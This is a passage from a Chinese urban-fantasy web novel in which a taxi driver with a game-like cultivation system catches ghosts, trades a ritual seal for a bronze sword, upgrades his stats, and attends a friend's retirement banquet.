中午时分,古德把车开到了纸扎陈老爷子那间略显偏僻的铺子门口。
停好车,他拎着两样东西下了车。
右手是一本用牛皮纸仔细包裹、线装订好的崭新笔记本,里面是他这几天抽空整理的一些基础符箓绘制心得和注意事项,准备拿给纸扎陈。
左手则是一个用红布包裹得严严实实、四四方方、巴掌大小的硬物,这是他特地准备的好东西。
古德走了纸扎铺。
铺子里依旧弥漫着檀香、纸张和浆糊混合的气味。
纸扎陈正站在柜台后面,和一个背对着门口的顾客低声交谈着。
那顾客听到门响,下意识回头看了一眼。
古德一愣,随即笑了:“阿立?这么巧,你怎么也到陈老板这儿来了?”
这人正是郑立,殡仪馆的销售经理。
郑立看到古德,眼中瞬间闪过惊喜,但很快又收敛起来,带着职业性的微笑,看了一眼纸扎陈,解释道:
“古大师,是你啊。我听圈内朋友介绍,说陈老板这边的纸扎用品做工精细,法事也周到,就想过来拜访一下,看看有没有机会合作,把我们殡仪馆的一些业务和陈老板这边对接一下。”
古德恍然地点点头,殡仪馆和纸扎铺合作,确实是顺理成章的事情。
“行,你们先谈正事,我不急。”
他示意自己没关系,然后很自觉地走到门口靠墙放着的一张长条板凳上坐下,从口袋里摸出烟盒,抽出一支烟点上,慢悠悠地吸了起来,不去打扰他们的商业会谈。
午后的阳光刺眼的很,古德眯着眼,吐出一串烟圈。
就在这时,他眼角的余光瞥见街角阴影处,晃晃悠悠地飘过来一个“人”。
那是个穿着破旧格子衫、脸色惨白、眼窝深陷得像两个黑洞的游魂,身材干瘦得像根竹竿。
它飘到离古德几米远的地方就停住了,一双空洞的眼睛直勾勾地盯着古德手里袅袅升起的烟雾,喉咙里似乎还在无意识地吞咽着,脸上写满了渴望。
古德挑了挑眉,看向它。
那烟鬼魂体见状,立刻挤出一个讨好的、比哭还难看的笑容,搓着手,小心翼翼地问:
“兄……兄弟,你这烟……味道真不错啊……能……能不能赏一支抽抽?**以后就再没碰过这口了,馋得慌……”
古德被它那副馋鬼样逗乐了,笑了笑,没说话,而是慢条斯理地又吸了一口,然后朝着那烟鬼的方向,缓缓吐出一个又大又圆的烟圈。
烟圈穿过烟鬼虚幻的身体,消散在空气中。烟鬼陶醉地吸了吸鼻子,虽然吸不到任何东西,但表情却更加渴望了。
就在这时,古德突然放下烟,以迅雷不及掩耳之势从裤兜里掏出一个小巧的、瓶底画着收鬼符的瓷瓶,拔掉软木塞,瓶口对准那还在回味“烟味”的烟鬼,低喝一声:
“进来吧你!下辈子投胎找个好人家,再慢慢抽!”
一股无形的吸力瞬间笼罩了烟鬼!
它还没反应过来,就“嗖”地一下被吸进了瓶子里。古德麻
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利地塞好瓶子,晃了晃,随手放回兜里。
整个过程干净利落,不超过三秒钟。
他刚重新拿起烟,还没抽两口,又一个穿着旗袍、看起来有点迷糊的女游魂被烟味吸引,晃晃悠悠地凑了过来……
结果可想而知。
古德抽烟的这短短几分钟功夫,居然顺手就收了两只自己送上门来的游魂野鬼。
“啧,这地方……这么招鬼的吗?”
古德有些意外地嘀咕道。他掐灭烟头,站起身,决定好好打量一下纸扎陈这间铺子的风水格局。
他退后十几米,走到街道对面,双手抱胸,微微眯起眼睛,仔细审视起来。
这不看不知道,一看还真看出了些门道。
纸扎陈这铺子,所在的位置正好处于一条地下阴脉的微弱支流之上!
虽然脉气很弱,不至于形成煞地害人,但常年累月渗透出的丝丝地阴之气,使得这片区域的阴性能量天然就比别处浓郁一些。
这种环境,对于阳气旺盛的活人来说,长期居住可能会体弱多病、运势低迷,但对于阴魂鬼物而言,却像是沙漠中的绿洲,有着莫名的吸引力,会让它们不自觉地向这里靠拢、徘徊。
而从商业角度看,这种聚阴的格局,反而特别利于做“**生意”!
阴气旺,则与阴间、灵界的“沟通”渠道似乎也更顺畅些?
纸扎铺的纸扎品更容易被“下面”接收到,法事的效果也可能更显著。
怪不得纸扎陈把店开在这里,这简直是占据了“地利”!
不过这旺的不是活人财,是实打实的“**财”啊!
更让古德暗暗称奇的是,他观察到在铺子的四周墙角、屋顶飞檐等不起眼的地方,似乎被人为地布置了一些小玩意儿。
这些布置组合起来,构成了一个巧妙的疏导阵法!
这个阵法的作用,就像是给房间安装了一个无形的“排风扇”,能够将积聚过来的过量阴气和可能产生的煞气,缓慢而持续地引导、散发出去,避免阴气过盛凝结成煞,影响到店铺主人和偶尔来访活人的健康。
“妙啊!”古德忍不住咂咂嘴,心中对纸扎陈的评价又高了几分,“这纸扎陈,不仅纸扎手艺是一绝,看来在风水阵法上也是个深藏不露的高手!这选址和布局,真是绝了!”
这时,铺子里的谈话似乎结束了。
纸扎陈笑容满面地将郑立送了出来,两人在门口又客气地握了握手,看来谈得不错。
郑立一转头,就看到了站在街对面正打量着铺子的古德,立刻眼睛一亮,快步走了过来。
第91章 搞定合作商
“古大师!不好意思,刚才没打扰您吧?”郑立的态度很是恭敬。
古德摆摆手,笑道:“阿立,都这么熟了,别这么客气,叫我阿德或者德仔都行。怎么,找我有事?”
郑立脸上堆起热情的笑容,压低了些声音道:
“阿德,是这样的。我认识几位老板,都是做生意的大客户,最近呢,在生意上或者家里遇到些不太顺心的事,怀疑可能是风水上的问题。他们想找位真正有本事的师傅给看看,调理一下。不知道……您对风水这一块,有没有研究?”
古德闻言,心中一动。
风水?他早就用公里数把【基础风水术】点到了LV2(熟练),系统灌输的理论知识和社会实践经验都相当扎实,看个阳宅风水、调理一下气场,那是手到擒来。
不过他有点好奇,郑立一个殡仪馆销售,怎么接起风水介绍的活了?
见古德点头表示会看,郑立脸上的喜色更浓,声音压得更低,神秘兮兮地伸出了三根手指:
“阿德,这几个可都是不差钱的主儿。他们说了,只要能看出问题,并且有效果,这个数……起步!”
古德挑了挑眉,试探着问:“三万?”
现在的他,经过这段时间的奋斗,眼界也高了,跟刚拿到系统的时候不一样。
三万港币虽然不少,但还不至于让他放下赚取公里数,赚阴德、升级系统的主业,专门去给人看风水。
郑立连忙摇头:
“三万?那哪够啊!是三十万!港币!这只是初步看风水和给调整方案的费用!如果后续效果显著,他们还会追加谢礼,那就没准儿了!”
“三十万?”古德这下真的有点动心了。
只是去看看风水,提点调整建议,就能有三十万入账?
而且不是一个人。
这可比他开出租车赚得快多了!
而且这钱赚得“干净”,不耽误他继续开出租车,更重要这钱可以让有换大房子的底气了。
他现在越发想去买个清净的带院子的房子。
他直接问道:“价格倒是不错。怎么个合作法?你牵线,怎么分成?”
郑立眼中闪过一抹精光,他早就想和古德建立更紧密的合作关系了。
这次是个好机会。
他摆摆手,一脸诚恳地说:“阿德,这次合作,我分文不取!就当是感谢你上次救了阿红!没有你,我真不知道会怎么样……”
古德没等他说完,表情变得认真起来,打断了他:
“阿立,一码归一码。上次救阿红,那是碰巧,也是我应该做的。你要谢我,改天带着阿红一起,请我好好吃顿大餐就行了,这个我肯定不推辞。
但这次介绍风水生意,是另一回事,是商业合作,该算清楚的还是要算清楚。”
郑立看到古德态度坚决,知道他不是在客套,心里反而更敬重古德的人品。
他无奈地笑了笑,只好按规矩来:“行,听你的。按我们这行的惯例,中间人介绍活儿,事成之后,抽一成作为介绍费。你看怎么样?”
“一成,合理。”古德点点头,对这个比例没有异议。
郑立又赶紧补充道:“那说好了,一码归一码。风水生意按规矩来,但我和阿红请你吃饭,你也必须得来!可不能找借口推掉!”
听到郑立这话,古德脸上严肃的表情才缓和下来,露出一丝笑容,拍了拍郑立的肩膀:
“放心,吃饭我肯定到。不过我希望啊,下次这顿饭,能是喝你和阿红的喜酒。”
郑立被说得有点不好意思,嘿嘿地傻笑起来,挠了挠头:
“一定一定!到时候肯定第一个请你!阿德你是不是还要找陈老板有事?那我就不打扰你了,我先回去跟那几个客户透个风,等你有空了我们再细聊。”
古德点点头:“行,下次再聊。”
看着郑立兴冲冲离开的背影,古德也觉得这条“财路”似乎不错。
既能赚钱改善生活,又不影响主业,还能拓展点人脉。
他转身,再次朝着纸扎铺走去……
铺子里,纸扎陈正坐在他那张老旧的太师椅上,面前的小茶几上已经摆好了两杯热气腾腾的浓茶,茶香四溢,显然刚泡好不久。
“陈老板,下回能不能换汽水啊?这大热天的,喝这么烫的茶,一身汗。”
古德嘴上抱怨着,人却熟门熟路地在对面小板凳上坐下,端起茶杯吹开浮沫,小心地呷了一口。
茶味醇厚,带着老茶特有的苦涩与回甘,是上了年纪的人才懂得欣赏的滋味。
纸扎陈脸上挂着那种看透世情、带着几分洞悉一切的了然笑容,慢悠悠地说:“我这儿就只有粗茶,想喝甜的,自己过对面士多店买。”
他顿了顿,浑浊却清亮的眼睛扫过古德的脸,“德仔,别绕弯子了,一进门我就瞧见你脸上憋着事儿呢,说吧,又打什么鬼主意?”
古德哈哈一笑,放下茶杯,从随身的挎包里珍重地取出那本自己精心装订的笔记本递过去。
笔记本用厚实的牛皮纸包了封皮,线装得整整齐齐,入手沉甸甸的,显见里面内容不少。“陈老板您先瞧瞧这个。”
纸扎陈接过本子,掏出老花镜戴上,翻开第一页。
里面是工整的钢笔字,配着清晰细致的手绘符图。
他起初只是随意浏览,但看着看着,神色渐渐凝重起来,布满老茧的手指无意识地在纸页上摩挲,仿佛在感受那笔墨间的气韵。
又翻了几页,他猛地抬起头,镜片后的眼睛锐利地看向古德,带着难以掩饰的惊异:
“德仔,这些符……画法、笔顺、还有旁边标注的行气法门,跟老一辈传下来的古本,似乎……有些极细微的差别?
尤其是这几张‘五雷符’、‘斩鬼符’,结构看似精简了,可这符胆、符脚的气象……反倒更显凌厉霸道!你这是从哪里得来的?”
古德神秘地笑了笑,没有直接回答。
他总不能说这是系统优化过的Plus版本吧?
其实他自己也没太注意区别,前世在道家学院学的更多是理论考证,实践画符都是为了应付考试混文凭,哪分得清这么多细节。
“嗨,您老就别管来历了,”他含糊地搪塞过去,岔开话题,“就直接说,觉得这东西怎么样吧?”
纸扎陈将笔记本轻轻推回古德面前,长长吁了口气,语气里带着几分了然,也有一丝难以掩饰的落寞:
“德仔,我晓得,这大概就是你自个儿用的,也是如今这世上独一份能真正起效的画法。
好东西,真是好东西……可惜,我这把老骨头,经脉早已枯竭,强行动用这种需要
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精纯元气催动的法门,怕是画一张符,就得折损我几天寿数。划不来,划不来咯……”
他摇着头,花白的头发在灯下显得有些刺眼。
古德摸着下巴,看着纸扎陈花白的头发和布满皱纹却依旧清亮的眼睛,心里突然冒出一个念头:要不要也试试给陈老板请个大号?反正这世界都乱成这样了,多一个也不多吧?
但转念一想,纸扎陈年纪大了,心性淡泊,早已过了争强好胜的岁数,请来大号似乎也无用武之地。
这念头一闪而过,就被他压了下去。
他笑着摇摇头,说道:“陈老板,您想哪儿去了。我哪能让您用寿命来画符。我是说,我可以教您我教给谢潮和周星星的那套‘基础呼吸法’。”
他顿了顿,提出了自己的条件:“作为交换,我的报酬是,如果您练成了,往后一年内,我需要的常规符箓,由您来提供,材料您出,就当是学费了。一年之后,我再跟您买,您给我个成本价或者友情价就行。怎么样?”
听到“呼吸法”三个字,纸扎陈的眼睛猛地亮了一下,但随即又恢复平静。
他伸手摸了摸自己光溜溜的头顶,眼神变得有些深邃,看着古德,缓缓问道:“德仔,你就这么信得过我?把这等打根基的法门教给我,不怕我老头子学会了,转头就不认账,或者甚至……用它来对付你?”
古德无所谓地耸耸肩,语气轻松却带着笃定:“您要是真反悔,那就算我古德看走眼,认栽呗。大不了以后不来往了。不过嘛……”
他话锋一转,露出一个有点痞气的笑容,“我相信我看人的眼光。退一万步讲,万一我真眼瞎了,您要是不守信用,我就去找谢潮投诉,说他师父不靠谱,让他赔我精神损失费!他可是警察,得讲道理吧?”
纸扎陈先是一愣,随即被古德这番混不吝的话逗得“哈哈”大笑起来,指着古德道:
“好你个臭小子!心眼是真多!你以为我看不出来?你这呼吸法,恐怕本来就没打算藏着掖着,是准备适当传出去的吧?
不然能这么快教谢潮和周星星那两个小子?老实说,修炼这呼吸法,是不是有什么苛刻的门槛?比如需要什么特殊体质,或者年纪不能太大?”
古德收敛了笑容,认真地摇摇头:
“不,陈老板,这呼吸法最大的特点就是‘普适’。它不挑人,童子身能练,结了婚的也能练;年轻人能练,您这样阅历丰富的长者能练。
只是它能练成多少,全看个人的悟性、毅力和……一点点缘分。能修成的,自然水到渠成;修不成的,强求也无用。”
这呼吸法古德还真有打算传出去,不过不是随便传,至少要让人知道他的名讳后去传。
纸扎陈听完,沉默了片刻,似在细细咀嚼古德话语中的深意。
半晌,他干脆地一拍大腿:“行!老头子我信你!你这条件,我应了!若真能让我这老树发新芽,往后一年,你要的符箓,包在我身上!”
古德脸上露出了满意的笑容。
搞定一个稳定且高质量的符箓供应商,对他以后开展“业务”至关重要。
他相信以纸扎陈的阅历和心性,练成呼吸法问题不大,说不定还能给他带来意外惊喜。
不过,古德今天来的目的不止于此。
第92章 搞到了一个大宝贝
他没有立刻开始传授呼吸法,而是又拿起了那个用红布包裹得四四方方的物件。
他慢慢地揭开红布,露出里面一方造型古朴、色泽沉凝的法印。
这方法印大约成人拳头大小,印身是用深色的雷击枣木雕刻而成,木质细腻,隐隐有光泽。
印钮雕刻成一只盘踞的、形态威猛但细节略显抽象的神兽,栩栩如生,透着一股镇邪的威严。
印面则是正方形,刻着四个笔画复杂、结构严谨的阳文篆字——
【太上敕令】!
古德将法印托在掌心,递到纸扎陈眼前,解释道:
“陈老板,您再看这个。这是我最近根据一些古籍记载,尝试复原的一方‘敕令镇邪印’。您也知道,画符除了笔法、朱砂、心念,最后加盖法印也是至关重要的一步。
一方好的法印,能沟通天地律令,给符箓‘盖章认证’,极大增强符箓的权威性和效力,尤其是**、驱邪类的符箓,盖印之后,威力能提升至少三成!
这方印的印文‘太上敕令’,意为至高无上的敕命,对于敕召神将、镇伏鬼魅尤其有效。”
纸扎陈看到这方法印,眼睛瞬间就直了!
他几乎是屏住呼吸,小心翼翼地接过去,捧在手里反复摩挲、端详,手指颤抖地抚过印钮的每一道刻痕,印面的每一个笔画。
那眼神,就像一个老饕看到了绝世美味,一个收藏家看到了梦寐以求的孤品!
自从灵幻界日益没落,真正的法器制作工艺几乎失传,他已经多少年没见过如此形制规整、灵韵内蕴的新制法印了!
这不仅仅是工具,简直是艺术品!
“好东西……真是好东西啊!”纸扎陈喃喃自语,爱不释手。
古德看着纸扎陈那痴迷的样子,心里暗道一声“稳了”。
他轻咳一声,开始推销:“陈老板,看来您是真喜欢这方印。您想啊,以后您画好了符,再用这方印这么一盖,‘啪’!符箓的品级立马就不一样了!绝对是事半功倍!”
纸扎陈何等精明,一听这话,就知道古德在打什么主意。
他抬起头,瞥了古德一眼,似笑非笑地说:“德仔,别绕弯子了,直说吧。你想怎么着?”
古德嘿嘿一笑,图穷匕见:“您要是真喜欢,我可以卖给您啊!价格也公道,一百万港币,您看怎么样?”
“多少?!”
纸扎陈手一抖,差点把法印掉地上。
他虽然有不少养老金,但一百万港币在九十年代初可不是小数目,相当于他这铺子好几年的纯利润了!
他脸上露出极其纠结的表情,看看手里这方让他心痒难耐的法印,又想想自己的养老金,眉头皱成了疙瘩。
他沉吟了好半晌,实在是舍不得,咬咬牙,开始讨价还价:
“德仔……你看,我就是一个开纸扎铺的老头子,哪里拿得出一百万啊?这不是要我的老命吗?这样行不行……八十八万!图个吉利!而且……”
他顿了顿,仿佛下了很大决心,“我再搭给你一件好东西,!那是一把我早年机缘巧合收来的仿古青铜法剑!虽说如今灵性沉寂了,但材质和做工,绝对是这个!”
纸扎陈翘起大拇指。
“我听阿潮说你不是刚断了一把桃木大剑吗?我这把,虽比你那柄‘门板’略小一号,但尺寸也足够威风,剑身长约四尺五(约一米五),宽约一尺五(约50厘米),是正儿八经的道家法尺剑形制!你拿回去好好温养,将来绝对比你断掉的那把好使十倍!”
古德闻言一愣,没想到纸扎陈除了之前的罗盘,还真藏了不少好家底?
虽然失了灵性,但如果是真东西,他有的是办法慢慢养回来!
他没有立刻答应,故作矜持地说:“青铜法剑?陈老板,您可别拿个工艺品糊弄我。我得先看看东西。”
“等着!”纸扎陈见有戏,立刻起身,脚步比平时都快了几分,蹭蹭走进里间。
没过多久,只见他双手捧着一件用厚布包裹的长条物走了出来,步履略显沉重。
古德赶紧上前接过,入手猛地一沉!好家伙,这剑分量不轻!
以他现在的身体素质,单手提着都感觉有些吃力。
“
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看来真得想办法提升下体能了,要么找点锻体的法门,要么攒点公里数把体质属性加上去。”古德心里嘀咕着。
他小心翼翼地将这长条物事放在茶几上,解开层层包裹的厚布。
一把古意盎然、甚至带着些斑驳土沁的青铜长剑,缓缓呈现在眼前。
剑身长约一米五,宽约五十,形制古朴,正是道家常用的法尺剑样式,常用于仪式中代表法度权威。
当然也可以用来杀敌。
剑身布满了暗绿色和蓝黑色的铜锈,斑斑驳驳,但锈层之下,依然能感受到金属质地的致密与坚硬。
剑身两面都刻满了密密麻麻、深奥难懂的云篆雷文,这些符文并非装饰,而是蕴含着特定的法理。
剑格处雕刻着北斗七星的图案,剑柄缠绕的丝线已经腐朽,但整体结构完好无损。
虽然此刻感应不到任何灵性波动,像一件沉睡的古物,但那股沉静、厚重、历经岁月洗礼的气息是骗不了人的。
这绝对是一把曾经有过辉煌过去的法器!这种形制的法尺剑,按规矩多是供奉在祖师殿前或者用于重要斋醮,不知因何缘由流落至此,灵性沉寂了。
古德越看越喜欢,这把剑底子太好了,一旦温养出灵性,绝对是他目前能得到的最佳近战法器!
“好!陈老板,就按您说的,八十八万,加上这把剑!”
古德不再犹豫,爽快地答应了交易。
纸扎陈也松了口气,虽然大出血,但换来了心爱的法印,还处理掉一件自己用不上的法剑,也算各取所需。
两人相视一笑,算是达成了这笔皆大欢喜的交易。
古德当场就用纸扎陈铺子里那部老掉牙的转盘电话,折腾了半天,办理了大额转账(九十年代初的银行手续颇为繁琐)。
之后,古德耐心地将“基础呼吸法”的口诀、心法和注意事项详细传授给了纸扎陈。
做完这一切,古德小心翼翼地将用厚布重新包好的青铜法剑拿在手上,告别了纸扎陈。
他迫不及待地想要回家,开始着手“唤醒”这把沉睡古剑的灵性。
第93章 道脉境界划分
时光跟握不住的流沙似的,一溜烟儿,距离阴阳路888号那场硬仗,已经过去一个多礼拜了。
日历悄然翻页,农历进入了七月。
按老话儿讲,七月是“鬼月”,据说鬼门关会大开,下边的“朋友们”会纷纷返回阳间度个“阴假”。
不过,在这个规则混乱,灵气不显,阴差不入的综影世界里,古德很怀疑所谓的“鬼门关”还能不能正常开关。
但有一点,他真真切切地感受到了。
那就是进入七月后,空气中弥漫的阴煞之气明显比之前活跃、浓郁了不少。
他开着出租车穿梭在大街小巷时,能明显感觉到路边游荡的“好兄弟”数量增多了,而且一个个似乎都显得有些躁动不安,不像以前那样浑浑噩噩。
偶尔甚至有胆大的,会靠近他的车子,搭个“顺风车”或者搞点恶作剧。
结果自然是被古德顺手掏出瓷瓶,“嗖”一下收了进去,成了微不足道的阴德点备胎。
这一周多,古德的生活节奏紧凑而充实。
他大部分时间都在努力跑车,目标明确,赚取宝贵的公里点数。
中间还抽空应郑立的邀请,给两位信风水的富豪看了阳宅风水。
这两位老板都是不差钱的主,问题也不算太复杂,主要是摆设不当引动了一些不好的气场,古德凭借LV2的风水术,轻松指出了症结所在,并给出了调整方案。
两单生意下来,扣除给郑立的一成介绍费,还净赚了八十多万港币,让他离购买心仪大别墅的目标又近了一步。
郑立还兴奋地告诉他,正在接触一位家里怪事频发、愿意出价一百万请高人出手的大富豪,进展顺利的话很快会有消息。
公里数的积累更是喜人。
在古德起早贪黑、风雨无阻的努力下,【公里点数】终于突破了2300点大关!
这意味着,又到了喜闻乐见的“加点”时刻。
面对这2300多点“硬通货”,古德摸着下巴盘算起来。
技能方面,目前主要的攻击手段(金光咒LV3、**/五雷符LV2)、辅助技能(请神术LV2、荡秽七式LV2)都暂时够用。
而新得到的青铜法剑需要温养,近战能力提升不急于一时。
当务之急,是提升自身的基础属性。
法力是施法的根本,体质和精神则关系到持久战能力、抗干扰能力和学习领悟速度,这些都是根基。
于是,他做出了决定:优先加点基础属性!
意识沉入系统,他集中意念,首先在【体质】后面的“+”号上连续点了一下!
【消耗公里点数500点,体质+1,当前体质:8/10】
一股暖流瞬间涌遍全身,肌肉纤维仿佛被细微地强化了一遍,骨骼密度似乎也有所增加。
古德握了握拳,感觉力量更充盈,耐力也好了些,之前扛青铜剑还有点费劲,现在感觉单手抡几下都不叫事儿。
接着,他点在【精神】上。
【消耗公里点数500点,精神+1,当前精神:8/10】
脑海中仿佛又有一层薄雾被驱散,思维更加清晰、敏锐,感知力也提升了一截,对周围能量波动的捕捉更加精准。
连续画符后的疲劳感也减轻了许多。
最后,他点在【法力】上。
这是最贵的,但也最核心。
【消耗公里点数1000点,法力+1,当前法力:5/∞】
丹田内那滴液态法力珠猛地旋转起来,体积以肉眼可见的速度膨胀了一圈!
颜色更加深邃凝实,蕴含的能量澎湃了不止一倍!
古德粗略估计,现在自己的法力总量,如果量化成“丝”的话,恐怕已经达到了120丝左右!
施展金光咒的持续时间更长,**的威力也能更大一些!
说到这儿,得插一嘴境界的事儿。
自从得了炁体源流的指点,古德总算对修行路上几道坎儿有了数。
古德知道了具体的道脉境界划分。
头一境叫筑基境,也叫“道童境”。
这阶段主要是打熬身子骨、学点规矩礼仪,体内还没炼出正经法力,只有几缕若有若无的气。
谢潮和周星星现在就卡在这门槛上,跟当年任家镇秋生和文才差不多水平。
再往上就是立身境,江湖人称“道士境”。
到了这步,才算真
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正端起了这碗饭,寻常乡村级别的邪乎事基本能摆平,在老百姓眼里那就是活神仙了。
古德眼下就站在这道台阶上。
当然,他兜里揣着系统这**器,不能全按常理估量。
第三境叫通幽境,尊一声“法师”。
能到这一步的,百里挑一,已经能开坛做法、沟通阴阳,负责一县甚至一府之地的安宁。
电影里九叔大部分时候露的本事,就在这个层次。
第四境悟道境,那可了不得,得称“**”了。
这等人物几乎不在俗世走动,跟陆地神仙似的,有资格被写进道脉典籍里供着。
第五境登仙境,那就是传说里的“天师”了,是得道飞升前最后一关,通常都是一个大道统的开山祖师或者中兴之主才摸得到边儿。
古德接下来的准备就是存够1110的公里数
随着法力加点需要的点数增加,他也考虑换个更高级的**点到LV3,往法师境进发。
加完点,古德审视了一下自己焕然一新的面板:
【姓名:古德】
【体质:8/10】(肌肉力量、耐力、抗击打能力提升)
【魅力:8/10】(亲和力、说服力、一定程度上影响他人观感)
【精神:8/10】(思维速度、感知力、意志力、抗干扰能力提升)
【法力:5/∞】(法力总量提升至约120丝,施法威力、持久性增强)
【可用公里点数:304.3】
【略....】
看着后面又灰下去、下次得要1000点才能点的“+”号,古德撇撇嘴:“得,又回到解放前了!”
果然,越到后面提升越难,需要的“经验值”也呈几何级数增长。
这公里数跟赚钱一样,永远觉得不够用啊!
不过,这次的提升效果是立竿见影的。
古德感觉浑身充满了力量,精神饱满,体内的法力更是如同小溪变成了小河,运转起来顺畅无比。
他对未来应对更强大邪祟的信心,又足了几分。
这天下午,古德提前结束了营运。
因为今晚有个重要的聚会,是**的退休告别宴。
第94章 **的退休宴
**年纪大了,身体也有些吃不消。
女儿于子晴和儿子于子朗商量后,决定让他退休,找个轻松点的活儿干,或者就在家享享清福。
**自己也同意了。
于是,他特意选了今天,在九龙尖沙咀弥敦道上的“鸿星海鲜酒家”订了几桌,邀请了不少平时关系不错的出租车同行和老朋友,算是正式告别风里来雨里去的“的士佬”生涯。
古德没有特意去买什么贵重的礼物。
他想了想,回到家用朱砂黄纸,精心绘制了一套“平安吉祥符箓大礼包”。
里面包括一张LV2的【强力护身符】,以及五六张LV1的【平安符】、【招财符】、【增运符】和【安神符】。
这些符箓对于普通人来说,长期佩戴或放置在家中,能起到辟邪保平安、潜移默化改善运势的作用。
在懂行的人眼里,这可比什么烟酒补品珍贵多了。
傍晚时分,古德打车来到了“鸿星海鲜酒家”。
**为了热闹,特意把宴席设在了酒家二楼一个带露天平台的包厢区域。
夏日的晚风吹拂,视野开阔,既能欣赏都市夜景,又比室内通风畅快,非常适合这种热闹的告别宴。
现场已经来了二三十人,大多是穿着随意、嗓门洪亮的出租车司机,三五成群地聚在一起抽烟、聊天,气氛热烈。
**穿着一身崭新的短袖衬衫,满面红光,正忙着招呼客人。
看到古德进来,**眼睛一亮,立刻迎了上来:“德仔!你来啦!就等你了!”
古德笑着把那个用红布包好的符箓礼盒递了过去:“大海哥,恭喜退休!没什么好送的,一点小心意,图个平安吉利。”
**接过盒子,入手微微一愣,随即反应过来是什么,脸上顿时露出惊喜和感激的神色。
他可是亲眼见过古德本事的,知道这些符箓的价值。
他紧紧握住古德的手,压低声音说:“德仔,太谢谢你了!这份礼太重了!你放心,我一定好好使用!”
他小心翼翼地把礼盒收进了随身带的挎包里,像藏宝贝一样。
然后,他热情地揽着古德的肩膀,把他带到了露天平台最里面的一张主桌:“来,德仔,坐这边!子朗、谢sir、周sir他们都在呢!”
古德一看,果然,主桌上已经坐了几个人:于子朗、谢潮、周星星,莫作栋,还有**的女儿于子晴,小姨子sa姨也在。
看来这桌是留给关系最亲近的家人和朋友的了。
于子朗看到古德,笑着打招呼。
谢潮依旧是那副酷酷的样子,举了举茶杯示意。
周星星和莫作栋则挤眉弄眼,一脸“你终于来了”的表情,于子晴也礼貌地对古德笑了笑。
古德坐下后,环顾四周。
夕阳的余晖洒在平台上,远处是九龙繁华的街景和逐渐亮起的霓虹。
空气中混合着饭菜的香气、啤酒的味道和男人们爽朗的笑声,充满了浓郁的生活气息。
相比于之前面对厉鬼时的紧张刺激,此刻这种平凡热闹的市井氛围,让他感到一种特别的放松和温暖。
**忙着穿梭在各桌之间敬酒、聊天,脸上洋溢着发自内心的笑容。
古德看着**开心的样子,心里也为他感到高兴。
这位忠厚老实的老大哥,辛苦了大半辈子,也是时候享享清福了。
宴席在喧闹和祝福声中正式开始。
主桌这边,气氛格外热闹。
周星星正手舞足蹈、唾沫横飞地跟古德讲述他们特别事务科最近的“辉煌战绩”,表情夸张得仿佛在说单口相声。
“阿德!你是不知道啊!”
周星星一拍大腿,声音洪亮,“前两天我们接到线报,说一个废弃工厂晚上老是冒绿火,还有蹦迪声!你敢信?我们一查才知道,那工厂之前被小混混当作派对场地,结果因为失火,**好些人。
等我们一去,好家伙!真是那些蹦迪时死在火场里的‘火鬼’在作祟!最离谱的是,里面领头那位还是个浑身焦黑的女火鬼!不过啊——”
他卖了个关子,冲古德挤眉弄眼,压低声音,带着一丝猥琐的坏笑:“她没显原型的时候,身材可是很不错的!”
话音刚落,同桌的两个女人立刻齐齐白了他一眼,“呸!”
周星星不以为意,反而笑得更欢。
他故意顿了顿,然后坏笑着指向坐在旁边的于子朗:
“然后啊,阿潮说让咱们的于大侦探先去练练手,熟悉下业务。结果你猜怎么着?咱们于sir平时查案推理威风八面,可一看到那青面獠牙、浑身焦黑还冒烟的火鬼,腿当场就软了!”
他猛地比划了个往前扑倒的动作,活灵活现,惹得一桌人忍俊不禁。
“差点一个趔趄扑上去,好家伙!要不是阿潮眼疾手快,一把拽住了他,估计就跟那火鬼来了个脸贴脸!说不定还能亲上,闻闻对方的口臭!哈哈哈!”
于子朗自从见识了真正的灵异世界,又被谢潮招揽后,也加入了特别事务科。
现在科里正式成员就四个:谢潮、周星星、于子朗,还有负责后勤支援的莫作栋。
最近鬼月阴气重,各种灵异事件频发,他们几乎天天都有任务,忙得脚不沾地。
于子朗本来还正端着酒杯,听到最后一句差点没喷出来。
他脸色涨红,赶紧摸了摸鼻子,硬着头皮挽尊:
“喂!阿星你少胡说!我那是一时没适应!再说了,那火鬼长得也太……太抽象了!你知道的,我这个人,对长得丑的东西过敏!”
他找了个蹩脚的借口。
周星星嗤笑一声,立刻补刀:
“哟呵!于sir,我看你不光对丑的过敏,对漂亮的也过敏吧?前天在警局,那个新来的公共关系科警花找你问点事,结果你还把人吓哭了?是不是也是过敏反应啊?”
“呃——”
于子朗脸色一僵,还没来得及反驳,一直安安静静吃菜的莫作栋就抬起头,
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推了推眼镜,正经八百地点头补刀:
“这个我可以作证。于sir当时确实太不怜香惜玉了。”
“喂!作栋!你别跟着瞎起哄啊!我不是!我没有!别瞎说!”
于子朗顿时闹了个大红脸,连连摆手否认,引得桌上众人一阵哄笑。
古德看着他们互相打趣、其乐融融的样子,忍不住也笑了起来。
没想到这几个家伙这么快就融洽起来,氛围甚至有点像亲兄弟。
只是于子朗这家伙,怎么好像有点朝着“团欺”方向发展的趋势?
不过嘛....古德眯起眼,心里暗暗琢磨。
于子朗其实也是有大号的,要不要等于子朗在这条路上再磨练磨练,心性更坚定些,可以考虑也帮他“请”个大号下来。
至于莫作栋?
这小子没什么大号可言,体质又偏弱,还带点哮喘毛病,当务之急是得先教他呼吸法,把底子练好才行。
他一边夹着菜,一边不动声色地思考着。
周星星调侃够了,又把话题拉回正事,表情稍微正经了点:
“好了好了,说正事。阿德,我们这次可是给你带了不少‘好货’!”
他拍了拍脚边一个看起来挺沉的手提箱,“里面品种齐全,从怨灵到恶鬼都有!而且……还有一只正儿八经的厉鬼!”
“厉鬼?”古德闻言,放下了筷子,来了兴趣,“最近厉鬼是不是有点多?怎么感觉都扎堆往外冒了?”
周星星深有同感地点头:“可不是嘛!这次抓到的那只,是个水鬼,**好多年,怨气极重!而且啊,更狗血的是,我们前两天逮的那只女火鬼,居然还是它女朋友!”
“一个火里死,一个水里亡?”古德眉头一挑,若有所思。
“对!”
周星星重重点头。
“真是孽缘!那水鬼就是为了救他女朋友,才盯上我们的。好家伙,那东西能操纵水汽,差点把我们一屋子人给活活憋死!
要不是我和阿潮关键时刻再次‘请神’上身,硬生生压制住它,估计真要被它得逞,带着马子跑路了!”
“请神”两个字一出,于子朗和莫作栋互相交换了个眼神,嘴角同时挂起了坏笑。
于子朗清了清嗓子,压低声音,用一种极其深情、还学谢潮口吻的腔调,对着莫作栋说道:“爱你一万年——”
莫作栋立刻心领神会,憋着笑,用同样夸张的语调接上:“我希望是....一万年!”
